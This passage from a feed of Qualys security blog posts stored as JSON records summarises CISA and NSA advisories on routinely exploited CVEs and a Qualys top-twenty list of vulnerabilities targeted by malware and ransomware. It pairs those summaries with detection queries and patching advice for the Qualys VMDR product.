mailboxes, and credentials stored on the servers.\n\n[Read our blog](<https://blog.qualys.com/product-tech/2021/03/10/security-advisory-mitigating-the-risk-of-microsoft-exchange-zero-day-proxylogon-vulnerabilities>) on this threat.\n\n#### Confluence Server and Data Center Vulnerability\n\nAn Object Graph Navigation Library injection vulnerability **(CVE-2021-26084)** exists in Confluence Server that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.\n\n#### Top Vulnerabilities of 2020 Persist\n\nThree additional vulnerabilities **(CVE-2020-1472, CVE-2018-13379, CVE-2019-11510)** were part of the routinely exploited [top vulnerabilities of 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>) list but continued to be exploited well into 2021.\n\n### How Can Qualys Help?\n\nThe Qualys Research Team stays on top of CISA\u2019s vulnerability reports by mapping and releasing our QIDs as needed. The goal is to provide our enterprise customers with complete visibility into risk across their organizations.\n\n#### Detect CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\n[Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) provides coverage for all 15 vulnerabilities described in the CISA report. [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) can automatically patch all Windows-related vulnerabilities which account for 60% of the 15 vulnerabilities. Organizations can quickly reduce the risk from these vulnerabilities. Organizations can quickly reduce the risk from these vulnerabilities.\n\nUsing VMDR and Qualys Query Language (QQL) lets you easily detect all your assets that are vulnerable to the top 15.\n\nUse this QQL statement:\n \n \n vulnerabilities.vulnerability.cveIds:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nView vulnerabilities be severity in Qualys VMDR\n\nQualys Unified Dashboard provides a comprehensive view of the top 15 exploited vulnerabilities as they affect your entire enterprise environment. The dashboard allows the security team to keep track of each vulnerability as they may propagate across multiple assets in your infrastructure.\n\nDashboard CISA: Alert (AA22-117A) | Top 15 Routinely Exploited\n\nQualys Unified Dashboard\n\n#### Prioritize CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\nQualys VMDR makes it easy to prioritize the top 15 exploited vulnerabilities affecting your company\u2019s internet-facing assets. To do so, apply the tag \u201cInternet Facing Assets\u201d in the Prioritization tab. You can add tags like "Cloud Environments", "Type: Servers", "Web Servers", and "VMDR-Web Servers" to increase your scope of assets.\n\nUse this QQL statement:\n \n \n vulnerabilities.vulnerability.cveIds:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nPrioritizing vulnerabilities for remediation in Qualys VMDR\n\n#### Remediate CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\nQualys Patch Management offers out-of-the-box support for patching multiple CISA vulnerabilities. Patch Management also provides patches for many Microsoft, Linux, and third-party application vulnerabilities.\n\nTo view the patchable QIDs, enable the "Show only Patchable" toggle button. After that, you can configure the patch job to patch the relevant QIDs and their respective associated CVEs.\n\nUsing Qualys Patch Management to apply patches\n\nQualys Patch Management also provides the ability to deploy custom patches. The flexibility to customize patch deployment allows you to patch all the remaining CVEs in your patching to-do list.\n\nTo get a view of all available patches for CISA\u2019s top 15 exploitable vulnerabilities of 2021, go to the Patch Management application and run this QQL statement in the Patches tab:\n \n \n cve:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nViewing available patches in Qualys Patch Management\n\nFor additional patch details about vulnerabilities reported by CISA, please see the [Appendix](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) of the CISA report.\n\n### Getting Started\n\nReady to get started? Learn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-05-06T12:19:24", "type": "qualysblog", "title": "CISA Alert: Top 15 Routinely Exploited Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2020-0688", "CVE-2020-1472", "CVE-2021-21972", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228"], "modified": "2022-05-06T12:19:24", "id": "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-12T20:01:11", "description": "On October 6, 2022, the United States National Security Agency (NSA) released a [cybersecurity advisory](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF>) on the Chinese government\u2014officially known as the People\u2019s Republic of China (PRC) states-sponsored cyber actors' activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People's Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). The PRC malicious actor continues to exploit known vulnerabilities to target U.S. and vigorously allied networks and software and hardware companies to rob intellectual property and develop access to sensitive networks. \n\nThey stated that PRC state-sponsored cyber activities as one of the most significant and dynamic threats to U.S. government and civilian networks. The PRC state-sponsored cyber actors persist in targeting government and critical infrastructure networks with an increasing array of new and adaptive techniques. Some could pose a considerable risk to Information Technology Sector, telecommunications organizations, Defense Industrial Base (DIB) Sector, and other critical infrastructure organizations. \n\nPRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target victims. Here is a list of 20 publicly known vulnerabilities (CVEs) published by the NSA, along with affected products and associated Qualys VMDR QID(s) for each vulnerability: \n\n**Vendor**| **CVE**| **Vulnerability Type**| Qualys **QID**(s) \n---|---|---|--- \n| | | \nApache Log4j | CVE-2021-44228 | Remote Code Execution | 730302, 150441, 150440, and more \nPulse Connect Secure | CVE-2019-11510 | Arbitrary File Read | 38771 \nGitLab CE/EE | CVE-2021-22205 | Remote Code Execution | 375475 \nAtlassian | CVE-2022-26134 | Remote Code Execution | 730514, 376657, 150523 \nMicrosoft Exchange | CVE-2021-26855 | Remote Code Execution | 50107, 50108 \nF5 Big-IP | CVE-2020-5902 | Remote Code Execution | 38791, 373106 \nVMware vCenter Server | CVE-2021-22005 | Arbitrary File Upload | 216265, 216266 \nCitrix ADC | CVE-2019-19781 | Path Traversal | 372685, 150273, 372305 \nCisco Hyperflex | CVE-2021-1497 | Command Line Execution | 730070 \nBuffalo WSR | CVE-2021-20090 | Relative Path Traversal | NA \nAtlassian Confluence Server and Data Center | CVE-2021-26084 | Remote Code Execution | 150368, 375839, 730172 \nHikvision Webserver | CVE-2021-36260 | Command Injection | NA \nSitecore XP | CVE-2021-42237 | Remote Code Execution | 14012 \nF5 Big-IP | CVE-2022-1388 | Remote Code Execution | 150511, 730489, 376577 \nApache | CVE-2022-24112 | Authentication Bypass by Spoofing | 730361 \nZOHO | CVE-2021-40539 | Remote Code Execution | 375840 \nMicrosoft | CVE-2021-26857 | Remote Code Execution | 50107 \nMicrosoft | CVE-2021-26858 | Remote Code Execution | 50107 \nMicrosoft | CVE-2021-27065 | Remote Code Execution | 50107 \nApache HTTP Server | CVE-2021-41773 | Path Traversal | 150373, 150372, 710595 and more \nTable 1: Top CVEs most used by Chinese state-sponsored cyber actors since 2020 \n\nNSA stated that the threat actors use virtual private networks (VPNs) to obscure their activities and establish initial access. Multiple CVEs indicated in Table 1 let the actors stealthily acquire unauthorized access into sensitive networks, after which they pursue to develop persistence and reposition laterally to other internally connected networks. \n\nThe NSA highlights how the People\u2019s Republic of China (PRC) has targeted and compromised significant telecom establishments and network service providers mostly by exploiting publicly known vulnerabilities. Networks affected have varied from small office/home office (SOHO) routers to medium and large enterprise networks. \n\nPRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. The devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as means to conduct network intrusions on other entities. Furthermore, cyber defenders often overlook these devices, who work to maintain and keep pace with frequent software patching of Internet-facing services and endpoint devices. \n\n## Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0 \n\nQualys released several remote and authenticated QIDs for commonly exploited vulnerabilities. You can search for these QIDs in [Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>), Vulnerabilities tab by using the following QQL query: \n\n_vulnerabilities.vulnerability.cveIds: [CVE-2021-44228, CVE-2019-11510, CVE-2021-22205, CVE-2022-26134, CVE-2021-26855, CVE-2020-5902, CVE-2021-22005, CVE-2019-19781, CVE-2021-1497, CVE-2021-20090, CVE-2021-26084, CVE-2021-36260, CVE-2021-42237, CVE-2022-1388, CVE-2022-24112, CVE-2021-40539, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-41773]_ \n\n\n\nUsing, [Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>), you can also effectively prioritize these vulnerabilities using the [Qualys TruRisk](<https://blog.qualys.com/vulnerabilities-threat-research/2022/10/10/in-depth-look-into-data-driven-science-behind-qualys-trurisk>).\n\n\n\n## Identify Vulnerable Assets using Qualys Threat Protection \n\nIn addition, you can locate vulnerable hosts through Qualys Threat Protection by simply clicking on the impacted hosts. This helps in effectively identifying and tracking this vulnerability. \n\n\n\nUsing the Qualys Unified Dashboard, you can track, impacted hosts, their status, and overall management in real time. With trending enabled for dashboard widgets, you can keep track of the vulnerability trends in your environment. \n\nRead the Article (Qualys Customer Portal): [NSA Top Exploited CVEs | China State Actors](<https://success.qualys.com/support/s/article/000007011>) \n\n\n\n## Recommendations & Mitigations \n\nThe NSA, CISA, and FBI recommend U.S. and allied governments, critical infrastructure, and private sector organizations use the mitigation guidance provided to boost their defensive posture and decrease the threat of compromise from PRC state-sponsored threat cyber actors. \n\nHere is a summary of mitigations guidance provided by the NSA: \n\n * Update, prioritize and patch vulnerable systems as soon as possible, as listed in this article and the list provided by [CISA KEV](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n * Utilize phishing-resistant multi-factor authentication and require all accounts with a unique and strong password. \n * Block obsolete or unused protocols at the network edge. \n * Upgrade or replace end-of-life devices. \n * Move toward the Zero Trust security model. \n * Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity. \n\nOne of the soundest methods that organizations of all sizes could stay on top of these vulnerabilities and end-of-life (EOL) network/device infrastructure as noted by NSA general mitigations guidelines is to catalog the infected assets and apply patches as soon as possible. This could be an effortless process if the corps utilize the power of Qualys VMDR 2.0. You can start your [Qualys VMDR 2.0 trial](<https://www.qualys.com/subscriptions/vmdr/>) for automatically identifying, detecting, and patching the high-priority commonly exploited vulnerabilities. \n\n## Contributors\n\n * Felix Jimenez Saez, Director, Product Management, Qualys\n * Swapnil Ahirrao, Principal Product Manager, VMDR, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-07T20:03:01", "type": "qualysblog", "title": "NSA Alert: Topmost CVEs Actively Exploited By People\u2019s Republic of China State-Sponsored Cyber Actors", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-07T20:03:01", "id": "QUALYSBLOG:D38E3F9D341C222CBFEA0B99AD50C439", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-22T16:37:11", "description": "The earlier blog posts showcased an overview of the **vulnerability threat landscape** that is either remotely exploited or most targeted by attackers._ _A quick recap \u2013 We focused on high-risk vulnerabilities that can be remotely exploited with or without authentication, and with the view on the time to CISA being down to 8 days, the most vulnerabilities targeted by threat actors, malware & ransomware.\n\nThis blog post will focus on **Qualys\u2019 Top Twenty Vulnerabilities, **targeted by threat actors, malware, and ransomware, with recent trending/sightings observed in the last few years and the current year.\n\nSome of these vulnerabilities are part of the recent [**CISA Joint Cybersecurity Advisory (CSA)**](<https://www.cisa.gov/news-events/alerts/2023/08/03/cisa-nsa-fbi-and-international-partners-release-joint-csa-top-routinely-exploited-vulnerabilities>)**,** published on August 3, 2023; you can access it from [**2022 Top Routinely Exploited Vulnerabilities**](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-215a>)**.**\n\nRead on- \n\n## Stats on the Top 20 Vulnerable Vendors & By-Products\n\n**Fig 1. Top Vulnerable Vendor**\n\n**Fig 2. Top Vulnerable Products**\n\n## Top Twenty Most Targeted by Attackers\n\n### **1. CVE-2017-11882: Microsoft Office Memory Corruption Vulnerability**\n\n**Vulnerability Trending Over Years: 2018, 2020, 2021, 2022, 2023 (79 times)**\n\nIt was exploited by 467 Malware, 53 Threat Actors, and 14 Ransomware and was trending in the wild as recently as August 31, 2023. \n\n**In the "Additional Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier.**\n\n**Qualys Vulnerability Detection (QID): 110308**\n\nDisclosed in 2017, CVE-2017-11882 is a **significant memory corruption vulnerability** in Microsoft Office's Equation Editor. It could enable an attacker to execute arbitrary code under the current user's permissions. \n\nIf the user has administrative rights, the attacker could gain complete control of the system, install programs, alter data, or create new user accounts with full privileges. This vulnerability will be exploited if the user opens a specially crafted file, potentially sent via email or hosted on a compromised website.\n\nIt\u2019s been primarily exploited in various cyber-attacks and espionage campaigns.\n\n### 2\\. **CVE-2017-0199: Microsoft Wordpad Remote Code Execution Vulnerability**\n\n**Vulnerability Trending Over Years: 2017, 2020, 2021, 2023 (59 times)**\n\nIt was exploited by 93 Malware, 53 Threat Actors, and 5 Ransomware and was trending in the wild as recently as September 4, 2023.\n\n**Qualys Vulnerability Detection (QID): 110297**\n\n**In the "Additional Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier.**\n\nCVE-2017-0199 is a notable remote code execution vulnerability that affects specific Microsoft Office and WordPad versions precisely when they parse specially crafted files. This vulnerability is the most favored vulnerability by malware, threat actors, and ransomware. \n\nIf successfully exploited, an attacker could execute arbitrary code in the current user's security context, potentially taking control of the system. Exploitation involves a user opening or previewing a maliciously crafted file, often sent via email. Microsoft has addressed this vulnerability by correcting how Office and WordPad parse these files and by enabling certain API functionality in Windows for further resolution.\n\n### 3\\. **CVE-2012-0158: Vulnerability in Windows Common Controls Could Allow RCE**\n\n**Vulnerability Trending Over Years: 2013, 2020, 2021, 2023 (33 times)**\n\nIt was exploited by 63 Malware, 45 Threat Actors, 2 Ransomware and was trending in the wild as recently as August 31, 2023.\n\n**Qualys Vulnerability Detection (QID): 90793**\n\nCVE-2012-0158 is a substantial remote code execution vulnerability in Windows standard controls. An attacker can exploit the flaw by constructing a specially crafted webpage. Upon viewing this webpage, the vulnerability can allow remote code execution, potentially granting the attacker the same rights as the logged-on user. \n\nIf the user has administrative privileges, this could mean total control of the affected system. Disclosed in 2012, this vulnerability has been notably exploited in various cyber-attacks, enabling attackers to install programs, manipulate data, or create new accounts with full user rights.\n\n### 4\\. **CVE-2017-8570: Microsoft Office Remote Code Execution Vulnerability**\n\n**Vulnerability Trending Over Years: 2018, 2020, 2023 (25 times)**\n\nIt was exploited by 52 Malware 11 Threat Actors and was trending in the wild as recently as September 2, 2023\n\n**Qualys Vulnerability Detection (QID): 110300**\n\nCVE-2017-8570 is a significant remote code execution vulnerability in Microsoft Office and WordPad. It involves the way these applications handle specially crafted files. It can be exploited by an attacker who convinces a user to open a specially designed file, potentially allowing the attacker to run arbitrary code on the victim's machine with the same privileges as the logged-in user and serving as a downloader to other high-profile malware.\n\n### 5\\. **CVE-2020-1472: Zerologon - An Unauthenticated Privilege Escalation to Full Domain Privileges**\n\n**Vulnerability Trending Over Years: 2020, 2021, 2022, 2023 (56 times)**\n\nIt was exploited by 18 Malware, 16 Threat Actors, 11 Ransomware and was trending in the wild as recently as September 4, 2023.\n\n**Qualys Vulnerability Detection (QID):** **91680**\n\n**In the "Additional Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier. **\n\nCVE-2020-1472, or **Zerologon, is a severe vulnerability in Microsoft's Netlogon Remote Protocol** due to a flawed implementation of AES-CFB8 encryption.\n\nUsing a fixed initialization vector and accepting unencrypted sessions allows an attacker to impersonate a server and compromise the entire Windows domain. The attacker takes control over all the Active Directory identity services.\n\n### 6\\. **CVE-2017-0144, CVE-2017-0145, CVE-2017-0143: Windows SMBv1 Remote Code Execution Vulnerability WannaCry, Petya**\n\n**Vulnerability Trending Over Years: 2017, 2020, 2021, 2023 (50 times)**\n\nIt was exploited by 12 Malware, 10 Threat Actors, and 12 Ransomware and was trending in the wild as recently as September 1, 2023.\n\n**Qualys Vulnerability Detection (QID): 91361, 91360, 91359, 91345**\n\nCommonly known as Shadow Broker or MS17-010, or "ETERNALBLUE," or "ETERNALSYNERGY" or "ETERNAL ROMANCE" is a remote code execution vulnerability in Microsoft's Server Message Block 1.0 (SMBv1) protocol.\n\nThe vulnerability arises from how SMBv1 handles specific requests, allowing an attacker(usually authenticated) to send a specially crafted packet to an SMBv1 server, enabling them to execute code on the target server.\n\nIt was infamously exploited in the widespread WannaCry ransomware attack in 2017, leading to global data encryption and ransom demands.\n\n### 7\\. **CVE-2012-1723: Java Applet Field Bytecode Verifier Cache Remote Code Execution**\n\n**Vulnerability Trending Over Years: 2023 (6 times)**\n\nIt was exploited by 91 Malware, 8 Threat Actors, 41 Ransomware and was trending in the wild as recently as August 17, 2023.\n\n**Qualys Vulnerability Detection (QID): 120274**\n\nCVE-2012-1723 is a substantial vulnerability found in the Java Runtime Environment. It can be exploited through a malicious web page, hosting a rogue Java applet can be exploited through a malicious web page hosting rogue Java applet.\n\nThe issue, originating from a type-confusion error in the "HotSpot" component, allows untrusted Java applets or applications to bypass the Java sandbox security restrictions and execute arbitrary code on a user's system\n\n### 8\\. **CVE-2021-34473, CVE-2021-34523, CVE-2021-31207: Microsoft Exchange Server RCE (ProxyShell)**\n\n**Vulnerability Trending Over Years: 2021, 2022, 2023 (39 times)**\n\nIt was exploited by 12 Malware, 20 Threat Actors, and 12 Ransomware and was trending in the wild as recently as September 2, 2023.\n\n**Qualys Vulnerability Detection (QID): 50114, 50111, 50112**\n\n**In the "Top 12 Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier. **\n\nProxyShell, a chain of vulnerabilities that impacts on-premises Microsoft Exchange Servers, is widely used for email and associated services globally.\n\nThese vulnerabilities exist in the Microsoft Client Access Service (CAS), typically running on port 443 in IIS, often exposed to the internet to allow users to access their email remotely. This exposure has led to widespread exploitation by threat actors deploying web shells to execute arbitrary code on compromised devices. They allow an actor to bypass authentication and execute code as a privileged user.\n\n### 9\\. **CVE-2019-11510: Pulse Secure Pulse Connect Secure SSL VPN Unauthenticated Path**\n\n**Vulnerability Trending Over Years: 2019, 2020, 2023 (53 times)**\n\nIt was exploited by 13 Malware, 18 Threat Actors, and 12 Ransomware and was trending in the wild as recently as September 4, 2023.\n\n**Qualys Vulnerability Detection (QID): 38771**\n\n**In the "Additional Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier.**\n\nCVE-2019-11510 is a critical vulnerability found in Pulse Connect Secure, a widely used VPN solution by Pulse Secure. The flaw enables an unauthenticated, remote attacker to exploit a specific endpoint and read arbitrary files on the system, including sensitive information such as private keys and user credentials.\n\nDue to its severity, It can provide an attacker with similar access to the corporate network as a legitimate user.\n\n### 10\\. **CVE-2021-44228: Apache Log4j Remote Code Execution Vulnerability**\n\n**Vulnerability Trending Over Years: 2021, 2022, 2023 (77 times)**\n\nIt was exploited by 10 Malware, 26 Threat Actors, and 5 Ransomware and was trending in the wild as recently as September 4, 2023.\n\n**Qualys Vulnerability Detection (QID): 376157, 730297**\n\n**In the "Top 12 Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier.**\n\nCVE-2021-44228, or "Log4Shell," is a severe vulnerability in Apache's log4j Java library. The flaw exploits the 'lookups' feature of log4j, enabling an attacker to use a specially crafted input to trigger the execution of a remote Java class on an LDAP server, leading to Remote Code Execution.\n\nThis issue is highly dangerous if the user input containing specific characters is logged by log4j. It can trigger Java method lookup, resulting in the execution of a user-defined remote Java class on an LDAP server, leading to Remote Code Execution (RCE) on the server running the vulnerable log4j instance.\n\n### 11\\. **CVE-2014-6271: Shellshock \u2013 Linux Bash Vulnerability**\n\n**Vulnerability Trending Over Years: 2014, 2016, 2017, 2020, 2021, 2022, 2023 (70 times)**\n\nIt was exploited by 18 Malware, 1 Threat Actors, and was trending in the wild as recently as September 2, 2023.\n\n**Qualys Vulnerability Detection (QID): 122693, 13038, 150134**\n\nShellshock (CVE-2014-6271) is a critical vulnerability affecting the Unix Bash shell in many Linux, Unix, and Mac OS systems. It allows remote code execution by misusing Bash's processing of environment variables, enabling attackers to append and execute malicious commands. It has a high severity score since it can impact multiple devices and applications, risking unauthorized data access or service disruption,\n\n### 12\\. **CVE-2018-8174: Windows VBScript Engine Remote Code Execution Vulnerability**\n\n**Vulnerability Trending Over Years: 2018, 2020, 2023 (30 times)**\n\nIt was exploited by 21 Malware, 10 Threat Actors, and 7 Ransomware and was trending in the wild as recently as September 4, 2023.\n\n**Qualys Vulnerability Detection (QID): 91447**\n\nCVE-2018-8174 is a critical vulnerability in Microsoft Windows' VBScript Engine, enabling remote code execution. Triggered by viewing a malicious website with Internet Explorer or opening a rigged Microsoft Office document, this flaw allows an attacker to manipulate memory objects and execute code. \nThe attacker can fully control the system if the user has administrative rights.** \n**\n\n### 13\\. **CVE-2013-0074: Microsoft Silverlight Could Allow Remote Code Execution**\n\n**Vulnerability Trending Over Years**_**: **_**2023 (8 times)**\n\nIt was exploited by 62 Malware 50 Ransomware and was trending in the wild as recently as August 20, 2023.\n\n**Qualys Vulnerability Detection (QID): 90870**\n\nCVE-2013-0074 is a remote code execution vulnerability in Microsoft Silverlight, which permits a crafted Silverlight application to access memory unsafely, thereby leading to the execution of arbitrary code under the current user\u2019s security context.\n\nIf the user has admin rights, the attacker installs programs, alters or deletes data, or generates new accounts with full privileges. The user can be deceived into visiting a malicious website or clicking on a link, commonly through an email or instant message.\n\n### 14\\. **CVE-2012-0507: Oracle Java SE Remote Java Runtime Environment Vulnerability**\n\n**Vulnerability Trending Over Years: 2023 (10 times)**\n\nIt was exploited by 66 Malware, 3 Threat Actors, and 42 Ransomware and was trending in the wild as recently as July 26, 2023.\n\n**Qualys Vulnerability Detection (QID): 119956**\n\nCVE-2012-0507 is a critical vulnerability in the Java Runtime Environment (JRE) allowing untrusted Java applets to execute arbitrary code outside the Java sandbox. Originating from a flaw in the AtomicReferenceArray class implementation, **this vulnerability was exploited by Flashback Trojan in 2012**. It was observed to have led to one of the most significant known malware attacks on Apple devices. Attackers can exploit this vulnerability by tricking users into visiting a malicious website hosting a Java applet.\n\n### 15\\. **CVE-2019-19781: Citrix ADC and Citrix Gateway - Remote Code Execution (RCE) Vulnerability**\n\n**Vulnerability Trending Over Years: 2020, 2022, 2023 (60 times)**\n\nIt was exploited by 11 Malware, 12 Threat Actors, and 10 Ransomware and was trending in the wild as recently as September 4, 2023.\n\n**Qualys Vulnerability Detection (QID): 372305, 150273**\n\n**In the "Additional Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier.**\n\nCVE-2019-19781, or "Shitrix," is a significant vulnerability associated with Citrix Application Delivery Controller (ADC) and Citrix Gateway, allowing unauthenticated attackers to perform arbitrary code execution, granting them access to internal network resources.\n\nThe flaw resides in the VPN component of the affected products, enabling directory traversal and giving attackers both read and write access to the underlying file system.\n\n### 16\\. **CVE-2018-0802: Microsoft Office Memory Corruption Vulnerability**\n\n**Vulnerability Trending Over Years: 2021, 2022, 2023 (19 times)**\n\nExploited by 29 Malware 24 Threat Actors, and was trending in the wild as recently as September 2, 2023.\n\n**Qualys Vulnerability Detection (QID): 110310**\n\nCVE-2018-0802 is a critical vulnerability within Microsoft Office and WordPad, which, if exploited, allows remote code execution via specially crafted files.\n\nAttackers can run arbitrary code in the current user's context, potentially taking over the system if the user holds administrative rights. This vulnerability was notably used in targeted attacks and was being actively exploited before Microsoft released a security update in January 2018 that correctly handles objects in memory, resolving the issue.\n\n### 17\\. **CVE-2021-26855: Microsoft Exchange Server Authentication Bypass (RCE)**\n\n**Vulnerability Trending Over Years:** **2021, 2023 (46 times)**\n\nIt was exploited by 19 Malware, 22 Threat Actors, and 9 Ransomware and was trending in the wild as recently as September 2, 2023.\n\n**Qualys Vulnerability Detection (QID): 50107, 50108**\n\n**In the "Additional Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier.**\n\nCVE-2021-26855, a part of the ProxyLogon exploit chain, is a server-side request forgery (SSRF) vulnerability in Microsoft Exchange Server that enables attackers to bypass authentication mechanisms and impersonate users.\n\nThe flaw allows arbitrary HTTP requests, granting access to users' mailboxes and enabling information theft. It has been widely exploited by various threat actors, leading to emergency patches by Microsoft.\n\n### 18\\. **CVE-2019-2725: Oracle WebLogic Affected by Unauthenticated RCE Vulnerability**\n\n**Vulnerability Trending Over Years: 2019, 2020, 2022, 2023 (53 times)** \n\nIt was exploited by 10 Malware, 4 Threat Actors, 9 Ransomware and was trending in the wild as recently as September 4, 2023.\n\n**Qualys Vulnerability Detection (QID): 150267, 87386** \n\nCVE-2019-2725 is a severe remote code execution vulnerability in Oracle WebLogic Server that allows unauthenticated attackers to execute arbitrary code over a network without user interaction. It was quickly weaponized to install cryptocurrency miners. \n\n### 19\\. **CVE-2018-13379: Fortinet FortiGate (FortiOS) System File Leak through Secure Sockets Layer (SSL)**\n\n**Vulnerability Trending Over Years: 2020, 2021, 2023 (41 times)** \n\nIt was exploited by 6 Malware, 13 Threat Actors, 6 Ransomware and was trending in the wild as recently as August 30, 2023.\n\n**Qualys Vulnerability Detection (QID): 43702** \n\n**In the "Top 12 Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier. **\n\nCVE-2018-13379 is a path traversal vulnerability found in the Fortinet FortiOS SSL VPN web portal. An unauthenticated attacker can read sensitive system files via specially crafted HTTP requests. The exploit could expose SSL VPN session data, leading to more severe attacks. \n\n### 20\\. CVE-2021-26084: Atlassian Confluence Server Webwork OGNL Injection RCE Vulnerability\n\n**Vulnerability Trending Over Years: 2021, 2022, 2023 (35 times)**\n\nIt was exploited by 8 Malware, 6 Threat Actors, and 8 Ransomware and was trending in the wild as recently as September 2, 2023.\n\n**Qualys Vulnerability Detection (QID): 730172, 150368, 375839**\n\n**In the "Top 12 Routinely Exploited Vulnerabilities in 2022" list, published by CISA earlier.**\n\nCVE-2021-26084 is a critical vulnerability in Atlassian's Confluence Server and Data Center, specifically within the 